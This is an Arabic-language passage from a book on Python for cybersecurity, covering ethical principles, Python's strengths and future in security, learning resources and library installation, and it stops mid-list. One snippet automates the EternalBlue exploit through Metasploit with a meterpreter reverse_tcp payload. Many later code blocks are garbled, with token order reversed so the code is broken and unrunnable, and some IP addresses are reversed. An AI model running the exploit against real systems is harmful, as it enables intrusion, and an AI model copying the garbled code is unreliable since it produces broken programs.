(ا) تحديد الثغرة وتوثيقها بشكل دقيق.

(ب) التواصل مع فريق الأمن في الشركة عبر القنوات الرسمية.

(ج) تقديم تقرير مفصّل يتضمن خطوات إعادة الاستغلال والتأثير المحتمل.

(د) منح الشركة وقتًا معقولاً لمعالجة الثغرة قبل الإعلان عنها.

مثال باستخدام **Python**: اختبار ثغرة بشكل مسؤول:

```
import requests

def test_vulnerability(url):
    try:
        response = requests.get(url)
        if "vulnerable_pattern" in response.text:
            print(f"Potential vulnerability found at {url}")
            report_vulnerability(url)
        else:
            print(f"No vulnerability found at {url}")
    except Exception as e:
        print(f"Error testing {url}: {e}")

def report_vulnerability(url):
    print(f"Reporting vulnerability at {url} to the security team...")

test_vulnerability("https://example.com")
```

الشرح:

- يختبر السكربت وجود نمط يشير إلى ثغرة محتملة، ثم يقوم بالإبلاغ عنها بطريقة مسؤولة.

٢. احترام الخصوصية

يجب احترام خصوصية الأفراد والمؤسسات من خلال التعامل مع البيانات بحذر وتجنّب الوصول غير المصرّح به.

مثال: إخفاء البيانات الحساسة في السجلات:

```
import hashlib

def anonymize_data(data):
    return hashlib.sha256(data.encode()).hexdigest()

user_ip = "192.168.1.100"
print(anonymize_data(user_ip))
```

الشرح:

- يتم تشفير البيانات الحساسة باستخدام دالة تجزئة لحماية الخصوصية مع الحفاظ على إمكانية التحليل.

٣. الالتزام القانوني

يجب التأكد من أن جميع الأنشطة تتوافق مع القوانين والأنظمة المعمول بها، مثل قوانين حماية البيانات وقوانين إساءة استخدام الحاسوب.

مثال: التحقق من الامتثال القانوني قبل فحص شبكة:

```
def check_legal_compliance(target):
    if target.startswith("192.168."):
        print("Scanning is compliant with internal policies.")
        return True
    else:
        print("Legal approval may be required.")
        return False

if check_legal_compliance("192.168.1.1"):
    print("Starting scan...")
```

الشرح:

- يتحقق السكربت من أن الفحص مسموح به وفق السياسات الداخلية قبل البدء.

٤. النزاهة المهنية

تشمل النزاهة المهنية الصدق، والشفافية، وتحمل المسؤولية عن الأعمال والنتائج.

مثال: توثيق النتائج بشكل مهني:

```
def document_findings(findings):
    with open('findings_report.txt', 'w') as f:
        for finding in findings:
            f.write(f"{finding}\n")
    print("Findings documented.")

findings = [
    "SQL Injection vulnerability",
    "XSS vulnerability"
]
document_findings(findings)
```

الشرح:

- يتم توثيق النتائج في تقرير مكتوب لضمان الشفافية والمساءلة.

٣.٣.٧ المعضلات الأخلاقية في الأمن السيبراني

قد يواجه مختصو الأمن السيبراني مواقف أخلاقية معقدة، مثل:

- الإبلاغ عن المخالفات: كشف الأنشطة غير القانونية أو غير الأخلاقية داخل مؤسسة.
- الأدوات مزدوجة الاستخدام: أدوات يمكن استخدامها لأغراض أخلاقية أو خبيثة.
- تضارب المصالح: الموازنة بين المصالح الشخصية والمسؤوليات المهنية.

٤.٣.٧ أفضل الممارسات للأمن السيبراني الأخلاقي

١. الالتزام بمدونات السلوك

اتبع مدونات أخلاقية معترف بها مثل ACM Code of Ethics أو $(ISC)^2$ Code of Ethics.

٢. الحصول على التفويض المناسب

لا تُجرِ أي فحص أمني أو اختبار اختراق دون موافقة رسمية.

```
def check_authorization(status):
    return status == "signed"

if check_authorization("signed"):
    print("Authorization confirmed.")
```

٣. التوعية والدعوة للسلوك المسؤول

نشر الوعي بالممارسات الأخلاقية وتعزيز ثقافة الأمن المسؤول.

```
def conduct_workshop():
    print("Ethical Hacking Workshop")
    print("Topics: disclosure, privacy, law, integrity")

conduct_workshop()
```

٥.٣.٧ الخلاصة: أهمية الاعتبارات الأخلاقية

تقف الاعتبارات الأخلاقية في صميم ممارسات الأمن السيبراني المسؤولة. ومن خلال الالتزام بمبادئ مثل الإفصاح المسؤول، واحترام الخصوصية، والالتزام القانوني، والنزاهة المهنية، يمكن استخدام Python وغيرها من الأدوات لحماية الأفراد والمؤسسات والمجتمع، مع الحفاظ على الثقة والمصداقية المهنية.

الخلاصة

بايثون كلغة غيّرت قواعد اللعبة في الأمن السيبراني

برزت لغة Python كلغة غيّرت قواعد اللعبة في مجال الأمن السيبراني، حيث أحدثت تحولاً جذريًا في طريقة تعامل المختصين مع التحديات الأمنية، وأتمتة المهام، وتطوير حلول مبتكرة وفعّالة. لقد جعلتها بساطتها، وتعدّد استخداماتها، ونظامها الغني بالمكتبات، الخيار الأول لخبراء الأمن السيبراني حول العالم. في هذا القسم الختامي، نستعرض الأثر التحويلي للغة Python في الأمن السيبراني، مع تسليط الضوء على نقاط قوتها الأساسية، وتطبيقاتها الواقعية، وآفاقها المستقبلية.

نقاط القوة الأساسية لبايثون في الأمن السيبراني

يمكن إرجاع نجاح Python في مجال الأمن السيبراني إلى عدة نقاط قوة رئيسية:

1. البساطة وسهولة القراءة

تتميّز Python ببنية لغوية واضحة وبديهية تجعلها سهلة الاستيعاب لكلٍّ من المبتدئين والمحترفين. هذه القابلية للقراءة تمكّن المختصين من التركيز على حل المشكلات بدل الانشغال بتعقيد الشيفرة.

مثال: كتابة سكربت بسيط لفحص المنافذ المفتوحة:

```
import nmap
```

```
scanner = nmap.PortScanner()
scanner.scan('192.168.1.1', '22-443')
for host in scanner.all_hosts():
    print(f"Open ports on {host}: {scanner[host]['tcp'].keys()}")
```

الشرح:

- يستخدم السكربت مكتبة python-nmap لفحص المنافذ المفتوحة، وهو مثال واضح على بساطة وقوة Python.

٢. نظام مكتبات واسع وغني

يوفّر نظام مكتبات Python حلولاً جاهزة لمجموعة واسعة من مهام الأمن السيبراني، بدءًا من تحليل الشبكات وصولاً إلى كشف البرمجيات الخبيثة.

أمثلة على مكتبات شائعة:

- Scapy: لمعالجة الحزم وتحليل الشبكات.
- PyCryptodome: لتنفيذ العمليات التشفيرية.
- Requests: لإرسال طلبات HTTP وتحليل حركة الويب.
- BeautifulSoup: لاستخلاص البيانات من صفحات الويب.

٣. التوافق متعدد المنصات

تعمل Python بسلاسة على أنظمة تشغيل متعددة مثل Windows وLinux وmacOS، مما يجعلها خيارًا مرنًا لبيئات مختلفة.

مثال: سكربت متعدد المنصات لمراقبة حركة الشبكة:

```
import platform
import subprocess
```

```
def monitor_traffic():
    if platform.system() == "Windows":
        subprocess.run(["ping", "google.com"])
    else:
        subprocess.run(["ping", "-c", "4", "google.com"])

monitor_traffic()
```

الشرح:

- يكيّف السكربت سلوكه حسب نظام التشغيل، مما يبرز قدرة Python على العمل عبر منصات مختلفة.

٤. الدعم المجتمعي

تمتلك Python مجتمعًا ضخمًا ونشطًا يوفّر موارد تعليمية، ومشاريع مفتوحة المصدر، وحلولاً جاهزة للمشكلات الشائعة.

مثال: الاستفادة من مكتبات مدفوعة بالمجتمع مثل yara-python في تحليل البرمجيات الخبيثة.

التطبيقات الواقعية لبايثون في الأمن السيبراني

أتاحت مرونة Python استخدامها في نطاق واسع من تطبيقات الأمن السيبراني الواقعية:

١. اختبارات الاختراق

تُستخدم Python على نطاق واسع في اختبارات الاختراق، حيث تساعد على أتمتة مهام مثل فحص الثغرات، وتطوير الاستغلالات، ومرحلة ما بعد الاختراق.

مثال: أتمتة استغلال باستخدام Metasploit:

```
from pymetasploit3.msfrpc import MsfRpcClient

client = MsfRpcClient('password', server='192.168.1.1')
exploit = client.modules.use('exploit', 'windows/smb/ms17_010_eternalblue')
exploit['RHOSTS'] = '192.168.1.100'
exploit.execute(payload='windows/x64/meterpreter/reverse_tcp')
```

الشرح:

- يقوم السكربت بأتمتة تنفيذ استغلال EternalBlue باستخدام Python وMetasploit.

٢. تحليل البرمجيات الخبيثة

تُعد Python أداة قوية لتحليل البرمجيات الخبيثة واستخلاص معلومات استخباراتية قيّمة.

مثال: تحليل ملف PE باستخدام pefile:

```
import pefile

pe = pefile.PE('malware.exe')
print(f"Entry Point: {hex(pe.OPTIONAL_HEADER.AddressOfEntryPoint)}")
for entry in pe.DIRECTORY_ENTRY_IMPORT:
    print(f"Imported DLL: {entry.dll.decode()}")
```

٣. أتمتة المهام الأمنية

تمكّن Python من أتمتة المهام المتكررة مثل تحليل السجلات ومراقبة الشبكات والاستجابة للحوادث.

٤. استخبارات التهديدات

تُستخدم Python على نطاق واسع في جمع وتحليل بيانات استخبارات التهديدات لمواكبة الهجمات الناشئة.

مستقبل بايثون في الأمن السيبراني

من المتوقع أن يستمر دور Python في التوسع مع تطوّر مجال الأمن السيبراني، خاصة في المجالات التالية:

- الذكاء الاصطناعي وتعلّم الآلة.
- أمن الحوسبة السحابية.
- أمن إنترنت الأشياء.

الخلاصة النهائية

لقد أحدثت لغة Python تحولاً عميقًا في مجال الأمن السيبراني، ومنحت المختصين القدرة على مواجهة التحديات المعقّدة بكفاءة وسلاسة. وبفضل بساطتها ومرونتها ونظام مكتباتها الواسع، أصبحت أداة محورية في حماية الأنظمة الرقمية الحديثة.
ومع استمرار تطور التهديدات الرقمية، ستبقى Python في الواجهة، تمكّن المختصين من الابتكار والأتمتة وبناء حلول أمنية متقدمة. سواء كنت مبتدئًا أو محترفًا، فإن إتقان Python سيمنحك ميزة تنافسية حقيقية ويمكنك من ترك أثر ملموس في عالم الأمن السيبراني.

مستقبل بايثون في مجال الأمن

الخلاصة
مع استمرار تطوّر مشهد Cybersecurity وتعقّد التهديدات الرقمية، يُتوقّع أن يتنامى دور Python في هذا المجال بشكل أكبر من أي وقت مضى. إن بساطة اللغة، ومرونتها، ومنظومتها الواسعة من المكتبات تجعلها أداة لا غنى عنها لمواجهة التحديات الناشئة والبقاء متقدّماً على التهديدات. في هذا القسم، نستعرض مستقبل Python في الأمن السيبراني، مع تسليط الضوء على أبرز الاتجاهات والفرص والمجالات التي يُتوقّع أن يكون لها فيها تأثير كبير.

الاتجاهات الناشئة في الأمن السيبراني

يتشكّل مستقبل الأمن السيبراني من خلال عدد من الاتجاهات الناشئة، وتُعد Python في موقع مثالي للقيام بدور محوري في معالجتها:

١. الذكاء الاصطناعي وتعلّم الآلة

أصبح كلٌّ من Artificial Intelligence وMachine Learning عنصرين أساسيين في اكتشاف التهديدات، وكشف الشذوذ، وأنظمة الاستجابة الآلية. ويجعل التفوّق الواضح لـ Python في هذه المجالات منها خياراً طبيعياً لتطوير حلول أمنية متقدّمة.

مثال: استخدام Python في كشف التهديدات المعتمد على الذكاء الاصطناعي:

```
IsolationForest import sklearn.ensemble from
np as numpy import


data Sample #
([[12] ,[11] ,[10] ,[3] ,[2] ,[1array([[.np = data


model the Train #
(1.0=IsolationForest(contamination = model
fit(data).model
```

```
anomalies Detect #
predict(data).model = predictions
(predictions)print
```

الشرح:

- يستخدم هذا السكربت نموذج Isolation Forest لاكتشاف الشذوذ في البيانات، مبيّناً قدرات Python في الأمن السيبراني المعتمد على الذكاء الاصطناعي.

٢. أمن الحوسبة السحابية

مع التوجّه المتزايد للمؤسسات نحو الحوسبة السحابية، أصبح تأمين البنية التحتية والخدمات السحابية أولوية قصوى. توفّر Python مكتبات قوية لمنصات السحابة، مثل boto3 لمنصة AWS وgoogle-cloud لـ Google Cloud، مما يجعلها أداة فعّالة في أمن السحابة.

مثال: أتمتة مهام أمنية في AWS باستخدام boto3:

```
boto3 import

client EC2 the Initialize #
('ec2'client(.boto3 = ec2

instances EC2 all List #
describe_instances().ec2 = response
:['Reservations'response[ in reservation for
:['Instances'reservation[ in instance for
("{['Name']['State'instance[} State: ,{['InstanceId'instance[} ID: "Instancef)print
```

الشرح:

- يوضّح هذا السكربت كيفية استخدام boto3 للتفاعل مع AWS واستعراض خوادم EC2، مما يبرز دور Python في أمن الحوسبة السحابية.

٣. أمن إنترنت الأشياء

أدّى الانتشار الواسع لأجهزة IoT إلى ظهور تحديات أمنية جديدة، وتُعد Python مناسبة جداً لتأمين الأجهزة المتصلة والشبكات المرتبطة بها.

مثال: مراقبة حركة مرور أجهزة IoT:

```
sniff import scapy.all from


(packet):packet_callback def
    :('IP'haslayer(.packet if
("{dst.['IP'packet[} IP: Destination ,{src.['IP'packet[} IP: "Sourcef)print


(10=count ,packet_callback=sniff(prn
```

الشرح:

- يقوم هذا السكربت بالتقاط وتحليل حركة الشبكة، مظهراً قدرات Python في مجال أمن إنترنت الأشياء.

٤. بنية الثقة الصفرية

أصبحت Zero Trust Architecture (ZTA) استراتيجية أساسية لتأمين الشبكات الحديثة. ويمكن استخدام Python لتطبيق وأتمتة مبادئ هذه البنية، مثل المصادقة المستمرة والتحكم في الوصول.

مثال: تنفيذ نظام تحكّم بسيط في الوصول:

```
resource): ,(usercheck_access def
    logic control access Simulate #
user_resources[user]: in resource and authorized_users in user if
        True return
    :else
```

```
                False return


usage Example #
{"user2" ,"user1"} = authorized_users
{["resource2"] :"user2" ,["resource1"] :"user1"} = user_resources
"user1" = user
"resource1" = resource
resource): ,check_access(user if
(granted" "Access)print
:else
(denied" "Access)print
```

الشرح:

- يوضّح هذا المثال كيفية تطبيق منطق تحكّم في الوصول، مبيّناً دور Python في بنية الثقة الصفرية.

الفرص المستقبلية لبايثون في الأمن السيبراني

يحمل مستقبل Python في الأمن السيبراني العديد من الفرص، منها:

١. الأتمتة والتنسيق

تُعد قدرة Python على أتمتة المهام المتكررة وتنسيق سير العمل المعقّد من أهم مزاياها في المجال الأمني.

مثال: أتمتة الاستجابة للحوادث:

```
os import
time import
```

```
(malicious_ip):isolate_system def
("{malicious_ip} IP: with system "Isolatingf)print
('DROP j- {malicious_ip} s- INPUT A- iptables'fsystem(.os
(5sleep(.time
(analysis..." further Initiating isolated. "System)print


('100.1.168.192'isolate_system(
```

الشرح:

- يقوم السكربت بعزل نظام مخترق بشكل آلي، موضحاً دور Python في أتمتة الاستجابة للحوادث.

٣. استخبارات التهديدات وتحليلها

تجعل قدرات تحليل البيانات في Python منها أداة مثالية لجمع وتحليل وعرض معلومات استخبارات التهديدات.

مثال: تحليل بيانات استخبارات التهديد باستخدام pandas:

```
pd as pandas import


} = data
"IP": ["100.1.168.192" ,"101.1.168.192" ,"102.1.168.192"],
"Threat Level": ["High" ,"Medium" ,"Low"],
"Type": ["Malware" ,"Phishing" ,"Scanning"],
{


df = pd.DataFrame(data)
print(df)
```

الشرح:

- يستخدم المثال مكتبة pandas لتحليل بيانات التهديدات، مبيّناً قوة Python في تحليل استخبارات التهديد.

٣. المساهمة في البرمجيات مفتوحة المصدر

يمنح النظام المفتوح المصدر لـ Python المختصين في الأمن فرصاً للمساهمة في مشاريع مجتمعية والاستفادة منها.

مثال: المساهمة في أدوات مفتوحة المصدر مثل Scapy أو yara-python.

التحديات والاعتبارات

على الرغم من المستقبل الواعد لـ Python، إلا أن هناك بعض التحديات التي يجب أخذها في الحسبان:

١. قيود الأداء

قد تؤدي طبيعة Python التفسيرية إلى قيود في الأداء عند تنفيذ المهام كثيفة الحسابات. ويمكن التخفيف من ذلك باستخدام مكتبات محسّنة أو الدمج مع لغات مثل C وC++.

مثال: تحسين الأداء باستخدام Cython:

```
def fibonacci(int n):
    cdef int a = 0, b = 1, i
    for i in range(n):
        a, b = b, a + b
    return a
```

الشرح:

- يوضّح المثال كيفية تحسين أداء الشيفرة باستخدام Cython.

٢. أمن الشيفرة البرمجية

قد تؤدي بساطة Python أحياناً إلى ممارسات برمجية غير آمنة، لذلك يجب الالتزام بإرشادات البرمجة الآمنة ومراجعة الشيفرة بانتظام.

مثال: التحقق من مدخلات المستخدم لمنع هجمات الحقن:

```
re import

(input_string):validate_input def
input_string): ,'^\w+$'rmatch(.re if
True return
:else
False return

"example_input" = user_input
validate_input(user_input): if
(valid" is "Input)print
:else
(invalid" is "Input)print
```

الشرح:

- يتحقق السكربت من صحة مدخلات المستخدم، مبيّناً أهمية ممارسات البرمجة الآمنة.

الخلاصة: مستقبل مشرق لبايثون في الأمن السيبراني

يحمل مستقبل Python في الأمن السيبراني الكثير من الوعود، سواء في مواكبة الاتجاهات الناشئة، أو أتمتة العمليات المعقّدة، أو المساهمة في تطوير حلول مبتكرة. ومن خلال مواكبة التطوّرات والالتزام بأفضل الممارسات، يمكن للمتخصصين الاستمرار في استخدام Python كسلاح فعّال في مواجهة التهديدات الرقمية.

ومع تطوّر العالم الرقمي، ستبقى Python في طليعة الأدوات التي تمكّن المختصين من الابتكار، والأتمتة، والحماية في عالم مترابط بشكل متزايد. سواء كنت مبتدئاً أو خبيراً، فإن إتقان Python سيمنحك ميزة تنافسية وقدرة حقيقية على إحداث أثر ملموس في مجال الأمن السيبراني.

البدء باستخدام بايثون في الأمن السيبراني

الخاتمة

أثبتت Python نفسها كأحد الأعمدة الأساسية في عالم Cybersecurity الحديث، لما تتمتع به من مرونة عالية، وبساطة في التعلم، وقوة كبيرة في التطبيق. سواء كنت مبتدئاً أو محترفاً ذا خبرة، فإن تعلّم Python يمكن أن يعزّز بشكل كبير قدرتك على التعامل مع التحديات الأمنية المختلفة. في هذا القسم، نضع خريطة طريق واضحة للبدء باستخدام Python في الأمن السيبراني، تشمل مصادر التعلم، والمكتبات الأساسية، ونصائح عملية لبناء مهاراتك وإحداث أثر حقيقي في هذا المجال.

لماذا تتعلّم بايثون من أجل الأمن السيبراني؟

تُعد Python اللغة المفضّلة لدى مختصي الأمن السيبراني لعدة أسباب جوهرية:

- سهولة التعلّم: تتميز Python ببنية لغوية بسيطة تجعلها مناسبة للمبتدئين.
- المرونة: يمكن استخدام Python في نطاق واسع من المهام، من السكربتات البسيطة إلى تحليل البيانات المتقدم.
- وفرة المكتبات: يوفّر النظام البيئي الغني لـ Python أدوات جاهزة تقريباً لكل مهمة أمنية.
- الدعم المجتمعي: تمتلك Python مجتمعاً ضخماً ونشطاً يقدّم موارد ودعماً مستمراً للمتعلمين.

من خلال تعلّم Python، يمكنك أتمتة المهام، وتحليل البيانات، وتطوير أدوات مخصّصة تعزّز قدراتك في الأمن السيبراني.

مصادر التعلّم

فيما يلي مجموعة من المصادر التي تساعدك على البدء باستخدام Python في مجال الأمن السيبراني:

١. الدورات التدريبية عبر الإنترنت

- Cybrary: توفّر دورات متخصصة في Python للأمن السيبراني، تشمل السكربتات والأتمتة.
- Coursera: تقدّم دورات في Python مع تركيز على التطبيقات الأمنية.
- Udemy: تحتوي على دورات من المستوى المبتدئ إلى المتقدم موجّهة لمختصي الأمن السيبراني.

٢. الكتب

- ``Black Hat Python'' لـ Seitz Justin: دليل عملي لاستخدام Python في الاختراق واختبارات الاختراق.
- ``Violent Python'' لـ O'Connor TJ: يركّز على استخدام Python في الأمن السيبراني والتحليل الجنائي.
- ``Python for Cybersecurity'': يغطّي تطبيقات Python المختلفة في الأمن السيبراني.

٣. التوثيق والدروس

- التوثيق الرسمي لبايثون: مرجع شامل لتعلّم اللغة ومكتباتها.
- Python Real: يقدّم دروساً ومقالات تعليمية متعمّقة.
- Security Python: مستودع GitHub يحتوي على موارد متعلقة بأمن Python.

٤. منصات التدريب العملي

- Box The Hack: توفّر تحديات ومختبرات لتطبيق مهارات الأمن السيبراني باستخدام Python.
- TryHackMe: تدريب تفاعلي يشمل تمارين سكربتات Python.
- LeetCode: منصّة لتحسين مهارات البرمجة باستخدام Python.

مكتبات بايثون الأساسية للأمن السيبراني

فيما يلي أهم مكتبات Python التي يجب تعلّمها في مجال الأمن السيبراني:

١. Scapy

تُعد Scapy مكتبة قوية لمعالجة وتحليل حزم الشبكة.

مثال: إرسال طلب ICMP (Ping):

```
* import scapy.all from
ICMP() / ("1.1.168.192"=IP(dst = ping
(2=timeout ,sr1(ping = response
show().response
```

الشرح:

- يرسل السكربت طلب ICMP ويعرض الاستجابة، موضحاً قدرات مكتبة Scapy.

٢. Nmap

مكتبة python-nmap هي واجهة لبرنامج Nmap تُستخدم لفحص الشبكات واكتشاف الأجهزة.

مثال: فحص المنافذ المفتوحة:

```
nmap import
PortScanner().nmap = scanner
('443-22' ,'1.1.168.192'scan(.scanner
all_hosts():.scanner in host for
("{keys().['tcp'scanner[host][} :{host} on ports "Openf)print
```

الشرح:

- يفحص السكربت عنوان IP بحثاً عن المنافذ المفتوحة، مبرزاً وظيفة Nmap.

٣. PyCryptodome

مكتبة PyCryptodome مخصّصة للعمليات التشفيرية مثل التشفير وفك التشفير.

مثال: تشفير رسالة باستخدام AES:

```
AES import Crypto.Cipher from
get_random_bytes import Crypto.Random from

(16get_random_bytes( = key
MODE_EAX).AES ,new(key.AES = cipher
('Security! Cyber ,Hello'bencrypt_and_digest(.cipher = tag ,ciphertext
(ciphertext)print
```

الشرح:

- يقوم السكربت بتشفير رسالة باستخدام AES، موضحاً قدرات مكتبة PyCryptodome.

٤. Requests

تُستخدم مكتبة Requests لإرسال طلبات HTTP، وهي مفيدة لتحليل حركة الويب والتعامل مع API.

مثال: إرسال طلب GET:

```
requests import
("https://example.com"get(.requests = response
text).(responseprint
```

الشرح:

- يرسل السكربت طلب GET ويطبع الاستجابة، مظهراً بساطة مكتبة Requests.

٥. BeautifulSoup

مكتبة BeautifulSoup مخصّصة لاستخراج البيانات من صفحات الويب.

مثال: استخراج الروابط من صفحة ويب:

```
BeautifulSoup import bs4 from
requests import

"https://example.com" = url
get(url).requests = response
('html.parser' ,text.BeautifulSoup(response = soup
:('a'find_all(.soup in link for
((''href'get(.(linkprint
```

الشرح:

- يستخرج السكربت جميع الروابط من صفحة ويب، موضحاً إمكانيات BeautifulSoup.

نصائح عملية لتعلّم بايثون في الأمن السيبراني

فيما يلي بعض النصائح العملية التي تساعدك على البدء:

١. ابدأ بخطوات صغيرة

ابدأ بكتابة سكربتات بسيطة ثم انتقل تدريجياً إلى مشاريع أكثر تعقيداً.

مثال: سكربت بسيط لإرسال Ping:

```
os import

"1.1.168.192" = target_ip
("{target_ip} "pingfsystem(.os
```

الشرح:

- يوفّر هذا السكربت نقطة انطلاق بسيطة لتعلّم Python.

٢. الممارسة المستمرة

الممارسة المنتظمة هي مفتاح إتقان Python. استخدم منصات مثل Hack The Box وTryHackMe لتطبيق مهاراتك.

٣. الانضمام إلى المجتمع

تفاعل مع مجتمعات Python والأمن السيبراني للاستفادة من خبرات الآخرين ومتابعة المستجدات.

٤. بناء المشاريع

طبّق ما تعلّمته من خلال بناء مشاريع حقيقية مثل فاحص شبكة أو محلل سجلات.

مثال: بناء فاحص شبكة بسيط:

```
nmap import

PortScanner().nmap = scanner
('443-22' ,'1.1.168.192'scan(.scanner
all_hosts():.scanner in host for
("{keys().['tcp'scanner[host][} :{host} on ports "Openf)print
```

الشرح:

- يقدّم هذا المثال مشروعاً عملياً لتطبيق مهاراتك في Python.

الخلاصة: رحلتك مع بايثون في الأمن السيبراني

تُعد Python أداة لا غنى عنها لمختصي الأمن السيبراني، لما توفّره من قوة ومرونة لمواجهة تحديات العصر الرقمي. ومن خلال الاستفادة من المصادر، والمكتبات، والنصائح الواردة في هذا القسم، يمكنك بدء رحلتك مع Python وبناء المهارات اللازمة للتميّز في هذا المجال.

ومع استمرارك في التعلّم والتطوّر، تذكّر أن Python ليست مجرد لغة برمجة، بل بوابة للابتكار، والأتمتة، والحماية في العالم الرقمي. سواء كنت تؤتمت المهام، أو تحلّل التهديدات، أو تطوّر أدوات مخصّصة، ستبقى Python سلاحك الفعّال في مواجهة التهديدات السيبرانية.

الملاحق

الملحق :A تثبيت **Python** والمكتبات الأساسية

لبدء استخدام Python في مجال الأمن السيبراني، تتمثل الخطوة الأولى في تثبيت لغة Python والمكتبات الأساسية التي تمكّنك من بناء الأدوات، وأتمتة المهام، وتحليل البيانات. يقدّم هذا الملحق دليلاً مفصلاً لتثبيت Python والمكتبات الرئيسية على أنظمة التشغيل المختلفة، لضمان جاهزيتك للانطلاق في رحلتك مع الأمن السيبراني باستخدام Python.

تثبيت **Python**

تتوفر لغة Python لأنظمة Windows و macOS وLinux. اتبع الخطوات التالية لتثبيت Python على نظامك.

ا. نظام **Windows**

(ا) تحميل **Python**:

- زيارة الموقع الرسمي: https://www.python.org/downloads/
- تحميل أحدث إصدار من Python لنظام Windows.

(ب) تشغيل برنامج التثبيت:

- النقر المزدوج على ملف التثبيت.
- تفعيل خيار Add Python to PATH.
- النقر على Install Now.

(ج) التحقق من التثبيت:

- فتح موجه الأوامر Command Prompt.
- كتابة الأمر التالي:

```
python --version
```

- يجب أن يظهر رقم الإصدار المثبّت.

٢. نظام **macOS**

(ا) تحميل **Python**:

- زيارة الموقع الرسمي: https://www.python.org/downloads/
- تحميل إصدار macOS.

(ب) تشغيل برنامج التثبيت:

- فتح ملف pkg..
- اتباع تعليمات التثبيت.

(ج) التحقق من التثبيت:

```
python3 --version
```

٣. نظام **Linux**

غالبًا ما يكون Python مثبتًا مسبقًا، لكن قد تحتاج لتثبيت إصدار أحدث.

(ا) تحديث قائمة الحزم:

```
sudo apt update
```

(ب) تثبيت **Python**:

```
sudo apt install python3
```

(ج) التحقق من التثبيت:

```
python3 --version
```

تثبيت المكتبات الأساسية

بعد تثبيت Python، يمكنك تثبيت المكتبات المهمة للأمن السيبراني باستخدام مدير الحزم pip.

١. **Scapy**

مكتبة قوية لمعالجة وتحليل حزم الشبكة.

```
pip install scapy
```

```
from scapy.all import *
print("Scapy installed successfully!")
```

٢. **python-nmap**

واجهة Python لأداة Nmap.

```
pip install python-nmap
```

```
import nmap
print("python-nmap installed successfully!")
```

٣. **PyCryptodome**

مكتبة للعمليات التشفيرية.

```
pip install pycryptodome
```

```
from Crypto.Cipher import AES
print("PyCryptodome installed successfully!")
```

٤. **Requests**

مكتبة لإرسال طلبات HTTP.

```
pip install requests
```

```
import requests
print("Requests installed successfully!")
```

٥. **BeautifulSoup**

مكتبة لاستخلاص البيانات من صفحات الويب.

```
pip install beautifulsoup4
```

```
from bs4 import BeautifulSoup
print("BeautifulSoup installed successfully!")
```

٦. **pandas**

مكتبة لتحليل البيانات.

```
pip install pandas
```

```
import pandas as pd
print("pandas installed successfully!")
```

٧. **matplotlib**

مكتبة لتمثيل البيانات بصريًا.

```
pip install matplotlib
```

```
import matplotlib.pyplot as plt
print("matplotlib installed successfully!")
```

إعداد بيئة افتراضية

تسمح البيئة الافتراضية بإدارة الاعتمادات دون تعارض.

```
python -m venv myenv
```

الخلاصة: جاهز للانطلاق

بعد تثبيت Python والمكتبات الأساسية، أصبحت جاهزًا لدخول عالم الأمن السيبراني بثقة. سواء في الأتمتة، أو التحليل، أو بناء الأدوات، ستكون Python سلاحك الفعّال في مواجهة التهديدات الرقمية.

الملحق :B مصادر إضافية لتعلّم **Python** والأمن السيبراني

الملاحق

إن تعلّم Python في مجال الأمن السيبراني هو رحلة مستمرة تتطلّب ممارسة دائمة، واستكشافاً متواصلاً، والوصول إلى مصادر تعليمية موثوقة وعالية الجودة. يقدّم هذا الملحق قائمة منتقاة من الموارد الإضافية، تشمل الدورات التدريبية عبر الإنترنت، والكتب، والمواقع الإلكترونية، والمجتمعات، ومنصات التدريب العملي، لمساعدتك على تعميق معرفتك وصقل مهاراتك في Python والأمن السيبراني.

الدورات التدريبية عبر الإنترنت

تُعد الدورات التدريبية عبر الإنترنت وسيلة فعّالة لتعلّم Python ومفاهيم الأمن السيبراني بطريقة منظمة. فيما يلي مجموعة من الدورات الموصى بها:

١. **Python for Cybersecurity**

- المنصة: Cybrary
  - الدورة: Python for Cybersecurity Professionals
  - الوصف: تعلّم كيفية استخدام Python لأتمتة مهام الأمن السيبراني، وتحليل البيانات، وبناء الأدوات.

٢. **Python Programming**

- المنصة: Coursera
  - الدورة: Python for Everybody
  - الوصف: دورة مناسبة للمبتدئين تغطّي أساسيات برمجة Python.

٣. **Ethical Hacking with Python**

- المنصة: Udemy
  - الدورة: Learn Ethical Hacking with Python
  - الوصف: دورة عملية تركّز على استخدام Python في الاختراق الأخلاقي واختبارات الاختراق.

٤. **Advanced Python for Cybersecurity**

- المنصة: Pluralsight
  - الدورة: Advanced Python for Cybersecurity
  - الوصف: تعمّق في استخدامات Python المتقدمة في الأمن السيبراني، مثل تحليل البرمجيات الخبيثة واستخبارات التهديدات.

الكتب

توفّر الكتب معرفة معمّقة وتشكل مراجع قيّمة في مجالي Python والأمن السيبراني. من أبرز الكتب الموصى بها:

١. **Black Hat Python**

- المؤلف: Justin Seitz
- الوصف: دليل عملي لاستخدام Python في الاختراق واختبارات الاختراق والأمن السيبراني.

٢. **Violent Python**

- المؤلف: TJ O'Connor
- الوصف: يركّز على استخدام Python في الأمن السيبراني والتحليل الجنائي واختبارات الاختراق.

٣. **Python for Cybersecurity**

- المؤلف: مجموعة مؤلفين
- الوصف: يناقش تطبيقات Python في الأتمتة، والتحليل، وبناء أدوات الأمن السيبراني.

٤. **Automate the Boring Stuff with Python**

- المؤلف: Al Sweigart
- الوصف: كتاب مبسّط يعلّم أتمتة المهام باستخدام Python، بما فيها مهام مرتبطة بالأمن السيبراني.

المواقع والمدونات

تقدّم المواقع والمدونات شروحات ومقالات وتحديثات مستمرة حول Python والأمن السيبراني. من أبرزها:

١. **Real Python**

- الوصف: دروس ومقالات ودورات متخصصة في برمجة Python.

٢. **Python Security**

- الوصف: مستودع GitHub يضم أدوات وموارد متعلقة بأمن Python.

٣. **OWASP Python Security**

- الوصف: إرشادات وأفضل الممارسات للبرمجة الآمنة باستخدام Python.

٤. **Krebs on Security**

- الوصف: مدونة متخصصة في أخبار الأمن السيبراني والتهديدات وأفضل الممارسات.

المجتمعات والمنتديات

الانضمام إلى المجتمعات التقنية يتيح تبادل الخبرات وطرح الأسئلة والاستفادة من تجارب الآخرين.

١. **Reddit**

- مجتمعات فرعية مثل:
  - r/learnpython
  - r/netsec
  - r/cybersecurity

٢. **Stack Overflow**

- الوصف: منصة أسئلة وأجوبة للمبرمجين ومتخصصي الأمن السيبراني.

٣. **GitHub Discussions**

- الوصف: المشاركة في النقاشات التقنية داخل مستودعات GitHub.

٤. **Slackو Discord**

- الوصف: مجموعات دردشة فورية متخصصة في Python والأمن السيبراني.

منصات التدريب العملي

توفّر هذه المنصات تحديات عملية لتطبيق مهاراتك البرمجية والأمنية:

١. **Hack The Box**

